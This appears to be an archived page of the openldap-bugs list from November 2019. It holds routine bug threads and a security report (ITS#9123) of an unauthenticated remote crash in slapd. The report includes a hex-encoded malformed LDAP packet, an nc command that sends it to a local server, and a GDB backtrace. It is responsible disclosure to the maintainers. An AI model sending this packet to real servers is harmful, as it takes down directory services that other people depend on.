X3RocmVhZF9wb29sX3dyYXBwZXIgKHRwb29sLmM6MTA0OCkNCj09MTEwMTk9PSAgICBieSAw eDREQkU2Njg6IHN0YXJ0X3RocmVhZCAocHRocmVhZF9jcmVhdGUuYzo0NzkpDQo9PTExMDE5 PT0gICAgYnkgMHg0RUZBMzIyOiBjbG9uZSAoY2xvbmUuUzo5NSkNCj09MTEwMTk9PSAgQWRk cmVzcyAweDYyMDMyYTggaXMgMCBieXRlcyBhZnRlciBhIGJsb2NrIG9mIHNpemUgNjAwIGFs bG9jJ2QNCj09MTEwMTk9PSAgICBhdCAweDQ4M0NGQUY6IHJlYWxsb2MgKGluIC91c3IvbGli L3g4Nl82NC1saW51eC1nbnUvdmFsZ3JpbmQvdmdwcmVsb2FkX21lbWNoZWNrLWFtZDY0LWxp bnV4LnNvKQ0KPT0xMTAxOT09ICAgIGJ5IDB4NEI5MzBBNDogX2J1Zl9hbGxvYyAoY29tbW9u LmM6MjE4NikNCj09MTEwMTk9PSAgICBieSAweDRCOTMyOTk6IF9zYXNsX2FkZF9zdHJpbmcg KGNvbW1vbi5jOjE5NikNCj09MTEwMTk9PSAgICBieSAweDRCOUIyRDQ6IHNhc2xfc2V0ZXJy b3IgKHNldGVycm9yLmM6MTg3KQ0KPT0xMTAxOT09ICAgIGJ5IDB4NEI5QTE4RDogc2FzbF9z ZXJ2ZXJfc3RhcnQgKHNlcnZlci5jOjE0MTgpDQo9PTExMDE5PT0gICAgYnkgMHgyNkI4OEI6 IHNsYXBfc2FzbF9iaW5kIChzYXNsLmM6MTY2NikNCj09MTEwMTk9PSAgICBieSAweDIxRTEz MDogZmVfb3BfYmluZCAoYmluZC5jOjI3OSkNCj09MTEwMTk9PSAgICBieSAweDIxRENFMTog ZG9fYmluZCAoYmluZC5jOjIwNSkNCj09MTEwMTk9PSAgICBieSAweDFGMzVCQTogY29ubmVj dGlvbl9vcGVyYXRpb24gKGNvbm5lY3Rpb24uYzoxMTg1KQ0KPT0xMTAxOT09ICAgIGJ5IDB4 MUYzQ0U3OiBjb25uZWN0aW9uX3JlYWRfdGhyZWFkIChjb25uZWN0aW9uLmM6MTM0MikNCj09 MTEwMTk9PSAgICBieSAweDM1REZGOTogbGRhcF9pbnRfdGhyZWFkX3Bvb2xfd3JhcHBlciAo dHBvb2wuYzoxMDQ4KQ0KPT0xMTAxOT09ICAgIGJ5IDB4NERCRTY2ODogc3RhcnRfdGhyZWFk IChwdGhyZWFkX2NyZWF0ZS5jOjQ3OSkNCj09MTEwMTk9PQ0KPT0xMTAxOT09IEludmFsaWQg cmVhZCBvZiBzaXplIDENCj09MTEwMTk9PSAgICBhdCAweDQ4M0RGNTQ6IHN0cmxlbiAoaW4g L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS92YWxncmluZC92Z3ByZWxvYWRfbWVtY2hlY2st YW1kNjQtbGludXguc28pDQo9PTExMDE5PT0gICAgYnkgMHg0RTUzREU0OiBfX3ZmcHJpbnRm X2ludGVybmFsICh2ZnByaW50Zi1pbnRlcm5hbC5jOjE2ODgpDQo9PTExMDE5PT0gICAgYnkg MHg0RTY3MDI5OiBfX3ZzbnByaW50Zl9pbnRlcm5hbCAodnNucHJpbnRmLmM6MTE0KQ0KPT0x MTAxOT09ICAgIGJ5IDB4M0ExRkZBOiBsdXRpbF9kZWJ1ZyAoZGVidWcuYzo3NCkNCj09MTEw MTk9PSAgICBieSAweDI2NkZGMzogc2xhcF9zYXNsX2xvZyAoc2FzbC5jOjE0NikNCj09MTEw MTk9PSAgICBieSAweDRCOUI0Q0Y6IHNhc2xfc2V0ZXJyb3IgKHNldGVycm9yLmM6MjYwKQ0K PT0xMTAxOT09ICAgIGJ5IDB4NEI5QTE4RDogc2FzbF9zZXJ2ZXJfc3RhcnQgKHNlcnZlci5j OjE0MTgpDQo9PTExMDE5PT0gICAgYnkgMHgyNkI4OEI6IHNsYXBfc2FzbF9iaW5kIChzYXNs LmM6MTY2NikNCj09MTEwMTk9PSAgICBieSAweDIxRTEzMDogZmVfb3BfYmluZCAoYmluZC5j OjI3OSkNCj09MTEwMTk9PSAgICBieSAweDIxRENFMTogZG9fYmluZCAoYmluZC5jOjIwNSkN Cj09MTEwMTk9PSAgICBieSAweDFGMzVCQTogY29ubmVjdGlvbl9vcGVyYXRpb24gKGNvbm5l Y3Rpb24uYzoxMTg1KQ0KPT0xMTAxOT09ICAgIGJ5IDB4MUYzQ0U3OiBjb25uZWN0aW9uX3Jl YWRfdGhyZWFkIChjb25uZWN0aW9uLmM6MTM0MikNCj09MTEwMTk9PSAgQWRkcmVzcyAweDYy MDMyYTggaXMgMCBieXRlcyBhZnRlciBhIGJsb2NrIG9mIHNpemUgNjAwIGFsbG9jJ2QNCj09 MTEwMTk9PSAgICBhdCAweDQ4M0NGQUY6IHJlYWxsb2MgKGluIC91c3IvbGliL3g4Nl82NC1s aW51eC1nbnUvdmFsZ3JpbmQvdmdwcmVsb2FkX21lbWNoZWNrLWFtZDY0LWxpbnV4LnNvKQ0K PT0xMTAxOT09ICAgIGJ5IDB4NEI5MzBBNDogX2J1Zl9hbGxvYyAoY29tbW9uLmM6MjE4NikN Cj09MTEwMTk9PSAgICBieSAweDRCOTMyOTk6IF9zYXNsX2FkZF9zdHJpbmcgKGNvbW1vbi5j OjE5NikNCj09MTEwMTk9PSAgICBieSAweDRCOUIyRDQ6IHNhc2xfc2V0ZXJyb3IgKHNldGVy cm9yLmM6MTg3KQ0KPT0xMTAxOT09ICAgIGJ5IDB4NEI5QTE4RDogc2FzbF9zZXJ2ZXJfc3Rh cnQgKHNlcnZlci5jOjE0MTgpDQo9PTExMDE5PT0gICAgYnkgMHgyNkI4OEI6IHNsYXBfc2Fz bF9iaW5kIChzYXNsLmM6MTY2NikNCj09MTEwMTk9PSAgICBieSAweDIxRTEzMDogZmVfb3Bf YmluZCAoYmluZC5jOjI3OSkNCj09MTEwMTk9PSAgICBieSAweDIxRENFMTogZG9fYmluZCAo YmluZC5jOjIwNSkNCj09MTEwMTk9PSAgICBieSAweDFGMzVCQTogY29ubmVjdGlvbl9vcGVy YXRpb24gKGNvbm5lY3Rpb24uYzoxMTg1KQ0KPT0xMTAxOT09ICAgIGJ5IDB4MUYzQ0U3OiBj b25uZWN0aW9uX3JlYWRfdGhyZWFkIChjb25uZWN0aW9uLmM6MTM0MikNCj09MTEwMTk9PSAg ICBieSAweDM1REZGOTogbGRhcF9pbnRfdGhyZWFkX3Bvb2xfd3JhcHBlciAodHBvb2wuYzox MDQ4KQ0KPT0xMTAxOT09ICAgIGJ5IDB4NERCRTY2ODogc3RhcnRfdGhyZWFkIChwdGhyZWFk X2NyZWF0ZS5jOjQ3OSkNCg0KDQoNCg0KLS0gDQogIC0tIEhvd2FyZCBDaHUNCiAgQ1RPLCBT eW1hcyBDb3JwLiAgICAgICAgICAgaHR0cDovL3d3dy5zeW1hcy5jb20NCiAgRGlyZWN0b3Is IEhpZ2hsYW5kIFN1biAgICAgaHR0cDovL2hpZ2hsYW5kc3VuLmNvbS9oeWMvDQogIENoaWVm IEFyY2hpdGVjdCwgT3BlbkxEQVAgIGh0dHA6Ly93d3cub3BlbmxkYXAub3JnL3Byb2plY3Qv DQo=

1 0

(ITS#9123) Unauthenticated remote denial-of-service
by stephan＠srlabs.de 28 Nov '19

28 Nov '19

Full_Name: Stephan Zeisberg Version: 2.4.48 OS: Fedora 31 (kernel 5.3.11-300.fc31.x86_64) URL: Submission from: (NULL) (78.54.65.139) Dear openldap team # Issue description Unauthenticated remote denial-of-service through malformed ldap packet # Version openldap-2.4.48.tgz # How to reproduce ## Compile $ tar xzvf openldap-2.4.48.tgz $ cd openldap-2.4.48 $ ./configure --prefix=/tmp/openldap $ make depend $ make $ make install $ cd /tmp/openldap ## Start server $ ./libexec/slapd -d 1 -h ldap://127.0.0.1:9091 ## Create PoC crash file $ echo -n "30840000054b020200d76084000005410201030400a38400000500a38203e2618203de308203daa003020105a1151b1357324b332e564d4e4554312e564d2e42415345a2443042a003020102a13b30391b046c6461701b1c7739dd332d3130312e77326b332e766d6e6574312e766d2e626173651b1377326b332e766d6e65a003020117a103020108a28203620482035ea235aaeb4b8dad2cc1a67f54db030352cc34864c8cf3b643a2d7d3111e0aebe0eef97130b4506cbf28b01c6c2bb49aeded09b8644ec146d29409d71838187b135aa779ca3e35c7b3d02cc60c53d65199e04b12cdc980d05cd1b0abd83791ecee27d79567bfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfd0fbd3bfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbf00000000000000febfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbf3b5e5d1743d6817779d9d3eef990ede178f7373a04f3821809f800ac200ca3bc67b32e9b2a2a3745cf67c91941a1ec2fdf50aa7a3c2dbc821831e8fcc4d15184978a6801801a76f588bfc196e924338201fe3b5e5d1743d6817779d9d3eef990ed151b1357324b332e564d4e4554312e564d2e42415345a2443042a003020102a13b30391b046c6461701b1c7739dd332d3130312e77326b332e762d37343237323839373736333432303739363739766d6e6574312e766d2e62617365a382037430820370a003020117a103020108a28203620482035ea235aaeb4b8dad2cc1a67f54db030352cc34864c8c2d36313031373033343136323732353138393733b01c6c2bb49aeded09b8644ec146d29409d71838187b135aa779ca3e35c7b3d02cc60c53d65199e04b12cdc980d05cd1b0abd83791ecee27d795679594064442bcb1ecb8639a7ef1825665683557bad4839e1a7b3cc5b76fc0ac093dcc62dd34116e7f202e38118c94c6ee468ae137aa6fce3070c081dd3941889887aac17b7b9fae6b1b432f97a905fe0765df558d738b2debc47b19b59b1c9b455cc29b88eb64620b8928714e76b310d36df7c1bfbda3fb4fbdc1fd4f34c901801a76f588bfc196e924338201fe3b5e5d1743d6817779d9d3eef990ede178f7373a04f3821809f800ac200ca3bc67b32e9b2a2a3745cf67c91941a1ec2fdf50aa7a3c2dbc821931e8fcc4d15184978a6801801a76f588bfc196e924338201fe3b5e5d1743d6817779d9d3eef990ede1" | xxd -r -p > ldap.crash ## Execute PoC (may need to be executed multiple times) $ nc 127.0.0.1 9091 < ldap.crash # GDB ... slapd: malloc.c:2379: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed. Thread 3 "slapd" received signal SIGABRT, Aborted. [Switching to Thread 0x7fffb4aba700 (LWP 3684510)] 0x00007ffff5b3a625 in raise () from /lib64/libc.so.6 Missing separate debuginfos, use: dnf debuginfo-install cyrus-sasl-gssapi-2.1.27-2.fc31.x86_64 cyrus-sasl-lib-2.1.27-2.fc31.x86_64 cyrus-sasl-plain-2.1.27-2.fc31.x86_64 keyutils-libs-1.6-3.fc31.x86_64 krb5-libs-1.17-45.fc31.x86_64 l ibcom_err-1.45.3-1.fc31.x86_64 libdb-5.3.28-38.fc31.x86_64 libgcc-9.2.1-1.fc31.x86_64 libicu-63.2-3.fc31.x86_64 libselinux-2.9-5.fc31.x86_64 libstdc++-9.2.1-1.fc31.x86_64 libuuid-2.34-3.fc31.x86_64 nss-mdns-0.14.1-4.fc31.x86_64 open ssl-libs-1.1.1d-2.fc31.x86_64 zlib-1.2.11-20.fc31.x86_64 (gdb) bt #0 0x00007ffff5b3a625 in raise () from /lib64/libc.so.6 #1 0x00007ffff5b238d9 in abort () from /lib64/libc.so.6 #2 0x00007ffff5b85a7a in __malloc_assert () from /lib64/libc.so.6 #3 0x00007ffff5b882bf in sysmalloc () from /lib64/libc.so.6 #4 0x00007ffff5b89072 in _int_malloc () from /lib64/libc.so.6 #5 0x00007ffff5b8af55 in calloc () from /lib64/libc.so.6 #6 0x00007ffff5b7ced8 in open_memstream () from /lib64/libc.so.6 #7 0x00007ffff5bf99d5 in __vsyslog_internal () from /lib64/libc.so.6 #8 0x00007ffff5bf9f4a in syslog () from /lib64/libc.so.6 #9 0x00000000004ef3b4 in slap_sasl_log (context=0x7ffff54bf110, priority=<optimized out>, message=0x7fffa8103d30 "Couldn't find mech a\202\003\336\060\202\003ڠ\003\002\001\005\241\025\033\023W2K3.VMNET1.VM.BASE\242D0B\240\003\002\001\002\241;09\033\004ldap\033\034w9\335\063-101.w2k3.vmnet1.vm.base\033\023w2k3.vmne\240\003\002\001\027\241\003\002\001\b\242\202\003b\004\202\003^\242\065\252\353K\215\255,\301\246\177T\333\003\003R\314\064\206L\214\363\266C\242\327\323\021\036\n\353\340\356\371q0\264Pl\277(\260\034l+\264\232\355\355\t\270dN\301FҔ\t\327\030\070\030{\023Z\247y"...) at sasl.c:146 #10 0x00007ffff6203344 in sasl_seterror () from /lib64/libsasl2.so.3 #11 0x00007ffff6202324 in sasl_server_start () from /lib64/libsasl2.so.3 #12 0x00000000004f1098 in slap_sasl_bind (op=<optimized out>, rs=0x7fffb4ab88b0) at sasl.c:1524 #13 0x000000000049fd28 in fe_op_bind (op=0x7fffa8003120, rs=0x7fffb4ab88b0) at bind.c:280 #14 0x000000000049f350 in do_bind (op=0x7fffa8003120, rs=0x7fffb4ab88b0) at bind.c:205 #15 0x0000000000472ca8 in connection_operation (ctx=0x7fffb4ab89e8, arg_v=0x7fffa8003120) at connection.c:1158 #16 0x0000000000471332 in connection_read_thread (ctx=0x7fffb4ab89e8, argv=<optimized out>) at connection.c:1294 #17 0x00000000005fee7a in ldap_int_thread_pool_wrapper (xpool=0xa0b9f10) at tpool.c:696 #18 0x00007ffff5e444e2 in start_thread () from /lib64/libpthread.so.0 #19 0x00007ffff5bff693 in clone () from /lib64/libc.so.6 Please let me know what additional information I can provide to successfully reproduce the issue. Note: I have also tested and reproduced the issue using the precompiled package from the Fedora repositories: openldap-servers-2.4.47-3.fc31.x86_64 (OpenLDAP: slapd 2.4.47 (Jul 25 2019 00:00:00)) -Stephan Zeisberg

1 0

Re: (ITS#9120) Searches including generalizedTime attributes with index
by hyc＠symas.com 26 Nov '19

26 Nov '19

Howard Chu wrote: > markus.widmer(a)daasi.de wrote: >> We could reproduce this with 2.4.42, 2.4.44 and 2.4.48. We hope you can >> reproduce this as well to see what is happening here. > > Yes, can reproduce this. The function that converts a component-wise time > into a timet is referencing time since 1970. The date in 1956 would yield a > negative timet value but the fields are unsigned ints, so instead it's treated > as 17,000 years in the future. We can probably change this to handle signed > timestamps but need to consider this further. > I believe the best way forward would be to allow signed values, and also to switch our epoch reference from 1970-01-01 to 0000-01-01 (i.e., use Gregorian Proleptic calendar). Year zero would be 1 BCE in this calendar, and anything earlier would be a negative year. Changing these functions will require regenerating any indices. Looks like something we'll rewrite for 2.5 but leave 2.4 alone. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#9120) Searches including generalizedTime attributes with index
by hyc＠symas.com 25 Nov '19

25 Nov '19

markus.widmer(a)daasi.de wrote: > Full_Name: Markus Widmer > Version: 2.4.48 > OS: CentOS 7 > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (37.24.13.226) > > > Hi! > > we have recognized a strange behaviour for searches which include an attribute > with syntax 1.3.6.1.4.1.1466.115.121.1.24 and the matching rules > generalizedTimeMatch and generalizedTimeOrderingMatch set. If the timestamps in > the objects have values before 1970, then a search for > "<=" or ">=" only seams to works if: > - The attribute is not part of the index > - The attribute is part of the index but "objectClass" is not > > Reproduction: > We used two entries with the attribute "schacExpiryDate" from the > objectClass "schacEntryMetadata" but this can be reproduced with other > attributes as well: > > attributetype ( 1.3.6.1.4.1.25178:1:2:17 > NAME 'schacExpiryDate' > DESC 'Date from which the set of data is to be considered invalid (format > YYYYMMDDhhmmssZ)' > EQUALITY generalizedTimeMatch > ORDERING generalizedTimeOrderingMatch > SINGLE-VALUE > SYNTAX 1.3.6.1.4.1.1466.115.121.1.24 ) > > We used two entries: > > user.1: > schacExpiryDate: 19711007093230.514Z > > user.2: > schacExpiryDate: 19561007093230.514Z > > First try: we used this index configuration: > > index sn eq > index schacExpiryDate eq > index objectClass eq > > Search filter 1 was: (schacExpiryDate<=19800101120000Z) > Result 1 was: user.1 > > Search filter 2 was: (schacExpiryDate>=19010101120000Z) > Result 2 was: user.2 > > > Second try: we used this index configuration: > > index sn eq > #index schacExpiryDate eq > index objectClass eq > > Search filter 1 was: (schacExpiryDate<=19800101120000Z) > Result 1 was: user.1 and user.2 > > Search filter 2 was: (schacExpiryDate>=19010101120000Z) > Result 2 was: user.2 and user.2 > > > Third try: we used this index configuration: > > index sn eq > index schacExpiryDate eq > #index objectClass eq > > Search filter 1 was: (schacExpiryDate<=19800101120000Z) > Result 1 was: user.1 and user.2 > > Search filter 2 was: (schacExpiryDate>=19010101120000Z) > Result 2 was: user.1 and user.2 > > > We could reproduce this with 2.4.42, 2.4.44 and 2.4.48. We hope you can > reproduce this as well to see what is happening here. Yes, can reproduce this. The function that converts a component-wise time into a timet is referencing time since 1970. The date in 1956 would yield a negative timet value but the fields are unsigned ints, so instead it's treated as 17,000 years in the future. We can probably change this to handle signed timestamps but need to consider this further. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

(ITS#9122) slapadd with dry run fails with back-mdb
by quanah＠openldap.org 25 Nov '19

25 Nov '19

Full_Name: Quanah Gibson-Mount Version: 2.4.48 OS: N/A URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (47.208.143.26) When testing an slapadd import with back-mdb as the database backend, it errors out incorrectly with a unknown attribute error: slapadd -F /tmp/slapd.d -l slapd-config-config.ldif -n 0 -u 5ddc186e PROXIED attributeDescription "DC" inserted. 5ddc186e <= str2entry: str2ad(olcDbNoSync): attribute type undefined slapadd: could not parse entry (line=1620) _################### 99.10% eta none elapsed none spd 18.7 M/s However the actual LDIF file is just fine: slapadd -F /tmp/slapd.d -l slapd-config.ldif -n 0 _#################### 100.00% eta none elapsed none fast! Closing DB... I'm guessing that on a dry-run, it doesn't actually fully load the modules defined in moduleload to get their schema definitions, which results in a false failure instead of a success.

1 0

(ITS#9121) dynlist enhancements
by quanah＠openldap.org 20 Nov '19

20 Nov '19

Full_Name: Quanah Gibson-Mount Version: 2.4 OS: N/A URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (47.208.143.26) There are some enhancements to dynlist that would make it more useful/versatile: a) Be able to do (unique)member= searches to find all groups a given group member belongs to b) be able to generate dynamic (is)memberOf values on user entries for the groups they belong to

1 0

(ITS#9120) Searches including generalizedTime attributes with index
by markus.widmer＠daasi.de 19 Nov '19

19 Nov '19

Full_Name: Markus Widmer Version: 2.4.48 OS: CentOS 7 URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (37.24.13.226) Hi! we have recognized a strange behaviour for searches which include an attribute with syntax 1.3.6.1.4.1.1466.115.121.1.24 and the matching rules generalizedTimeMatch and generalizedTimeOrderingMatch set. If the timestamps in the objects have values before 1970, then a search for "<=" or ">=" only seams to works if: - The attribute is not part of the index - The attribute is part of the index but "objectClass" is not Reproduction: We used two entries with the attribute "schacExpiryDate" from the objectClass "schacEntryMetadata" but this can be reproduced with other attributes as well: attributetype ( 1.3.6.1.4.1.25178:1:2:17 NAME 'schacExpiryDate' DESC 'Date from which the set of data is to be considered invalid (format YYYYMMDDhhmmssZ)' EQUALITY generalizedTimeMatch ORDERING generalizedTimeOrderingMatch SINGLE-VALUE SYNTAX 1.3.6.1.4.1.1466.115.121.1.24 ) We used two entries: user.1: schacExpiryDate: 19711007093230.514Z user.2: schacExpiryDate: 19561007093230.514Z First try: we used this index configuration: index sn eq index schacExpiryDate eq index objectClass eq Search filter 1 was: (schacExpiryDate<=19800101120000Z) Result 1 was: user.1 Search filter 2 was: (schacExpiryDate>=19010101120000Z) Result 2 was: user.2 Second try: we used this index configuration: index sn eq #index schacExpiryDate eq index objectClass eq Search filter 1 was: (schacExpiryDate<=19800101120000Z) Result 1 was: user.1 and user.2 Search filter 2 was: (schacExpiryDate>=19010101120000Z) Result 2 was: user.2 and user.2 Third try: we used this index configuration: index sn eq index schacExpiryDate eq #index objectClass eq Search filter 1 was: (schacExpiryDate<=19800101120000Z) Result 1 was: user.1 and user.2 Search filter 2 was: (schacExpiryDate>=19010101120000Z) Result 2 was: user.1 and user.2 We could reproduce this with 2.4.42, 2.4.44 and 2.4.48. We hope you can reproduce this as well to see what is happening here. Thank you very much for doing a great job!

1 0

Re: (ITS#9119) back-monitor can miscount monitorOpCompleted
by hyc＠symas.com 15 Nov '19

15 Nov '19

quanah(a)openldap.org wrote: > Full_Name: Quanah Gibson-Mount > Version: 2.4.43 > OS: N/A > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (47.208.143.26) > > > When querying the monitor backend for monitorOpCompleted, the results are > inconsistent. The code that calculates this value is also inefficient, as there > is already a global counter of completed operations, but back-monitor doesn't > use this and instead queries all the per-operation counters and then sums them > together for the result, causing unnecessary work. Fixed in git master. > > These are the results of a series of queries: > > monitorOpCompleted: 326801 > monitorOpCompleted: 326733 > monitorOpCompleted: 326830 > monitorOpCompleted: 326830 > monitorOpCompleted: 326752 > monitorOpCompleted: 326855 > monitorOpCompleted: 326777 Unable to reproduce. Please test the patch and report back if the problem still shows up. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#9118) Add support for MAP_NOSYNC
by hyc＠symas.com 15 Nov '19

15 Nov '19

quanah(a)openldap.org wrote: > Full_Name: Quanah Gibson-Mount > Version: 2.4.48 > OS: FreeBSD 11 > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (47.208.143.26) > > > To improve back-mdb performance on LMDB when dbnosync is set, it would be useful > to support MAP_NOSYNC as documented at > http://nixdoc.net/man-pages/FreeBSD/mmap.2.html > > Added in mdb.master -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs November 2019